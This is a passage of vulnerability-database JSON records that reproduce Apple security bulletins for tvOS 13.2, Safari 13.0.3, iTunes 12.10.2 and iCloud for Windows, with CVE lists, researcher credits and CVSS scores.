attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**Audio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\n**AVEVideoEncoder**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8795: 08Tc3wBB working with SSD Secure Disclosure\n\n**File System Events**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 8, 2019\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 8, 2019\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: February 04, 2020\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-28T00:00:00", "type": "apple", "title": "About the security content of tvOS 13.2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8794", "CVE-2019-8795", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8803", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827", "CVE-2019-8829"], "modified": "2019-10-28T00:00:00", "id": "APPLE:23F4B15F98B9E907DBA0469D5F0BC654", "href": "https://support.apple.com/kb/HT210723", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-10T11:41:59", "description": "# About the security content of Safari 13.0.3\n\nThis document describes the security content of Safari 13.0.3.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Safari 13.0.3\n\nReleased October 28, 2019\n\n**WebKit**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: February 04, 2020\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-28T00:00:00", "type": "apple", "title": "About the security content of Safari 13.0.3", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827"], "modified": "2019-10-28T00:00:00", "id": "APPLE:24F0CE6C0A090A12BFC0624F060D429D", "href": "https://support.apple.com/kb/HT210725", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:41:12", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Safari 13.0.3\n\nReleased October 28, 2019\n\n**WebKit**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: macOS Mojave 10.14.6 and macOS High Sierra 10.13.6, and included in macOS Catalina 10.15.1\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-04T05:18:53", "title": "About the security content of Safari 13.0.3 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8808", "CVE-2019-8827", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8812", "CVE-2019-8814"], "modified": "2020-02-04T05:18:53", "id": "APPLE:HT210725", "href": "https://support.apple.com/kb/HT210725", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:41:17", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iTunes 12.10.2 for Windows\n\nReleased October 30, 2019\n\n**Graphics Driver**\n\nAvailable for: Windows 7 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**iTunes**\n\nAvailable for: Windows 7 and later\n\nImpact: Running the iTunes installer in an untrusted directory may result in arbitrary code execution\n\nDescription: A dynamic library loading issue existed in iTunes setup. This was addressed with improved path searching.\n\nCVE-2019-8801: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-04T05:27:46", "title": "About the security content of iTunes 12.10.2 for Windows - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8808", "CVE-2019-8827", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8801", "CVE-2019-8784", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8812", "CVE-2019-8814"], "modified": "2020-02-04T05:27:46", "id": "APPLE:HT210726", "href": "https://support.apple.com/kb/HT210726", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:13:45", "description": "# About the security content of iTunes 12.10.2 for Windows\n\nThis document describes the security content of iTunes 12.10.2 for Windows.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iTunes 12.10.2 for Windows\n\nReleased October 30, 2019\n\n**Graphics Driver**\n\nAvailable for: Windows 7 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**iTunes**\n\nAvailable for: Windows 7 and later\n\nImpact: Running the iTunes installer in an untrusted directory may result in arbitrary code execution\n\nDescription: A dynamic library loading issue existed in iTunes setup. This was addressed with improved path searching.\n\nCVE-2019-8801: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: February 04, 2020\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-30T00:00:00", "type": "apple", "title": "About the security content of iTunes 12.10.2 for Windows", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8801", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827"], "modified": "2019-10-30T00:00:00", "id": "APPLE:CC90AF91854DC3DAAF69A4D6FA63346F", "href": "https://support.apple.com/kb/HT210726", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:18", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iCloud for Windows 7.15\n\nReleased October 30, 2019\n\n**Graphics Driver**\n\nAvailable for: Windows 7 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-04T05:29:41", "title": "About the security content of iCloud for Windows 7.15 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, 